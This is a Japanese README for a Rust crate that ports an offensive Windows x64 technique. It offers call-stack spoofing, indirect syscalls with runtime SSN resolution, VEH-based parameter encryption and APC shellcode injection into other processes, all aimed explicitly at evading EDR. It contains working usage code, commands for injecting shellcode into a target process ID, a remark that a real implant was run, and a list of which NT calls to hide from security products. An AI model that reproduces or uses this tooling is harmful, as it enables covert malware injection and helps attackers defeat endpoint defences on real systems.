
Windows x64向けのRustクレート: ghost-frame call-stack spoofing、runtime indirect syscalls、APC injectionを提供。SSN resolution、JIT stub emission、VEH-based parameter encryptionを提供し、EDR evasionを実現。
Ghost-frame コールスタック偽装 + ランタイム間接システムコール for Windows x64 — Rust に移植済み。
Mohamed Alzhrani (0xmaz) による LACUNA Chain (lacuna_chain.c) からの移植。
lacuna-rs は、再利用可能な Rust クレートであり、元の C TTP と同じプリミティブを提供します。構造化されているため、任意の Rust プロジェクトにドロップインできます。wsyscall-rs や syscalls-rs と似ていますが、ランタイム SSN 解決、関数ごとの syscall;ret ターゲティング、および ghost-frame スタックスプーフィング を備えています。
stack-spoof機能は、利用側クレートがフレームポインタ付きでコンパイルされていない場合、サイレントに失敗します。
chain.rs のスタック破壊プリミティブは、mov rbp, {x} インライン asm を介して呼び出し元のリターンアドレススロットを特定します。これには RBP チェーンがそのままである必要があります。Rust(およびほとんどのリリースモードコンパイラ)はデフォルトでフレームポインタを省略します。
build.rs はこのクレート自身のコード生成に対して force-frame-pointers=yes を設定しますが、Cargo はコンパイラフラグをダウンストリームクレートに伝播できません。 自身のプロジェクトに以下を追加する必要があります:
# .cargo/config.toml (lacuna-rs 内ではなく、YOUR クレート内)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]
これがないと、stomp_plant() は RBP からガベージを読み取り、最良の場合は何もせず、最悪の場合はスタックを破損します。このクレートは実行時にフレームポインタが有効かどうかを検出できません。単に動作しません。
スキャン、SSN 解決、またはインジェクションプリミティブのみが必要で(スタックスプーフィングなし)、stack-spoof 機能を省略すれば、この要件は適用されません。
| プリミティブ | C 関数 | Rust モジュール |
|---|---|---|
| PE セクション + エクスポート解析 | pe_section(), pe_export() | pe |
.pdata ゴースト領域スキャン | scan_ghosts(), best_ghost() | scan |
ゴーストガジェット発見 (jmp [rbx]) | scan_ghost_gadgets() | scan |
win32u NOP ギャップ検出 | win32u_nop_gap() | scan |
| BYOUD-MF アンカー検出 | find_mf_target() | scan |
| SSN 解決 (Hell's Gate / Halo's Gate) | resolve_ssn() | nt |
関数ごとの syscall;ret ロケーター | find_func_syscall() | nt |
| JIT 間接システムコールスタブ生成 | alloc_stub() | stub |
| ゴーストガジェットスタブリダイレクト | (alloc_stub() 内) | stub |
| VEH + ハードウェアブレークポイントパラメータ暗号化 | param_encrypt_veh(), pcrypt_arm() | veh |
| チェーンガード VEH | chain_veh() | veh |
| LACUNA チェーン構築 | build_chain() | chain |
| スタック破壊 (BYOUD-RT) | stomp_plant(), stomp_restore() | chain |
| チェーンウォーカー(検証) | lacuna_walk_chain() | chain |
| セクションベース APC インジェクション | do_inject_sapc() | inject |
[dependencies]
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }
| 機能 | 説明 | フレームポインタが必要? |
|---|---|---|
syscalls (デフォルト) | SSN 解決 + JIT スタブ生成 | いいえ |
inject (デフォルト) | セクションベース APC インジェクション (inject::inject_sapc) | いいえ |
veh | VEH + ハードウェアブレークポイントパラメータ暗号化 | いいえ |
stack-spoof | LACUNA ghost-frame チェーン + スタック破壊 | はい |
no-std | no_std モード (実験的) | いいえ |
機能が何も有効でない場合、スキャン/PE/NT レイヤーのみが利用可能です。
cargo run --example scan
cargo run --example verify --features stack-spoof
実際のインプラントを使用したインジェクション例 - C2 はオフラインだったが、シェルコードは実行された
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>
--verbose を追加して VEH 診断出力(スタックダンプ、レジスタ出力)を有効にします:
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose
ターゲットプロセスのすべてのスレッドに APC をキューイングする代わりに(同時に多数のスレッドが通知されるとプロセスがクラッシュする可能性がある)、inject_sapc はスコアリングアルゴリズムを使用して最適な MAX_APC_THREADS(5)個の候補を選択します:
NtQueryInformationThread(ThreadCycleTime) — 主要なアクティビティ指標NtQueryInformationThread(ThreadTimes) — カーネル + ユーザー時間NtQueryInformationThread(ThreadSuspendCount) — 非サスペンドスレッドは +300 ボーナス;サスペンドスレッドはサスペンドカウントごとに -150NtQueryInformationThread(ThreadBasicInformation) — 優先度 8-10 のスレッドは +150 ボーナス;範囲外の優先度は -100 ペナルティ完全にアイドル状態のスレッド(サイクルと CPU 時間がゼロ)はスキップされます。残りの候補はスコア(高い順、同点の場合はサイクル)でソートされ、上位 5 つに切り詰められます。
use lacuna::{scan, nt, win::get_module};
let ntdll = get_module(b"ntdll.dll\0");
// ゴースト領域のスキャン
let mut ghosts = [scan::Ghost::default(); 512];
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
println!("{} ghost regions in ntdll", n);
// 特定の関数の SSN + syscall;ret を解決
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);
use lacuna::{nt, stub, win::{get_module, HMODULE}};
let ntdll: HMODULE = get_module(b"ntdll.dll\0");
// SSN + 関数自身の syscall;ret アドレスを解決
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);
// JIT スタブ生成: mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (または build_chain が呼ばれていれば、jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret)
let stub = stub::make_stub(ssn, syscall_ret).expect("stub alloc failed");
// 対応する関数ポインタ型にキャストして呼び出し
let alloc_vm: unsafe extern "system" fn(
win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };
// ntdll/kernelbase/wow64/win32u をスキャンしてゴースト領域を探し、
// 6層の偽呼び出しスタックを構築します。G_GHOST_GADGET を設定し、
// スタブが署名付き DLL 内の JMP [RBX] を経由するようにします。
lacuna::chain::build_chain();
// VEH ハンドラの登録 (パラメータ暗号化 + チェーンガード)
let _veh = lacuna::veh::VehGuard::register().expect("VEH registration failed");
// オプション: 実行時に詳細診断を有効化
lacuna::veh::set_verbose(true);
use lacuna::win::HANDLE;
use core::ptr;
let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;
// ゴーストフレームを配置 (リターンアドレスを署名付き DLL のゴーストで置き換え)
lacuna::chain::stomp_plant();
// syscall;ret に DR0 を設定 — VEH が境界でパラメータを XOR 復号
lacuna::veh::pcrypt_arm(key, syscall_ret, true);
// 間接スタブを通じて呼び出し — RIP は ntdll 内のカーネルエントリに到達
let _status = unsafe { open_proc(/* XOR 暗号化されたパラメータ */) };
// 保護されていない呼び出しの前に必ず解除
lacuna::veh::pcrypt_disarm();
lacuna::chain::stomp_restore();
すべての API 呼び出しに完全な LACUNA 処理が必要なわけではありません。重要な原則は、EDR がインジェクションやポストエクスプロイトアクティビティとして相関させる呼び出しを隠すことです。
これらは EDR がフックして相関させる「クラウン・ジュエル」NT システムコールです:
| 呼び出し | 機密性の理由 |
|---|---|
NtOpenProcess | 別のプロセスへのハンドルを開く — インジェクションの第一歩 |
NtCreateSection + NtMapViewOfSection (リモート) | セクションベースのインジェクションシグネチャ |
NtWriteVirtualMemory | プロセス間書き込み — 古典的なインジェクション指標 |
NtCreateThreadEx | リモートスレッド作成 — 最高シグナルのインジェクションプリミティブ |
NtQueueApcThread | APC インジェクション — 高シグナル |
NtProtectVirtualMemory | RWX 権限変更 — シェルコードステージング指標 |
NtAllocateVirtualMemory (リモート) | リモート割り当て — インジェクションの前段階 |
NtSetInformationThread | スレッド隠蔽 (HideFromDebugger) — 回避指標 |
これらのそれぞれについて:
nt::resolve(ntdll, b"NtXxx\0") で解決stub::make_stub(ssn, syscall_ret) でスタブを生成veh::pcrypt_arm(key, syscall_ret, true) で機密パラメータを XOR 暗号化chain::stomp_plant() と chain::stomp_restore() でラップ| 呼び出し | 安全な理由 |
|---|---|
NtQueryInformationThread | クエリのみ、めったにフックされず、プロセス間書き込みなし |
NtDelayExecution | スリープ — 良性、すべてのアプリケーションで使用 |
NtClose | ハンドルクローズ — 良性、非常に一般的 |
GetModuleHandleA / GetProcAddress | モジュール解決 — システムコールではなく、EDR ユーザーランドフックでフック不可 |
CreateToolhelp32Snapshot / Thread32First / Thread32Next | スレッド列挙 — kernel32、ntdll システムコールではない |
OpenThread / CloseHandle | 標準ハンドル操作 — kernel32 |
GetThreadContext / SetThreadContext | DR0 に必要 — kernel32、自己プロセスのみ |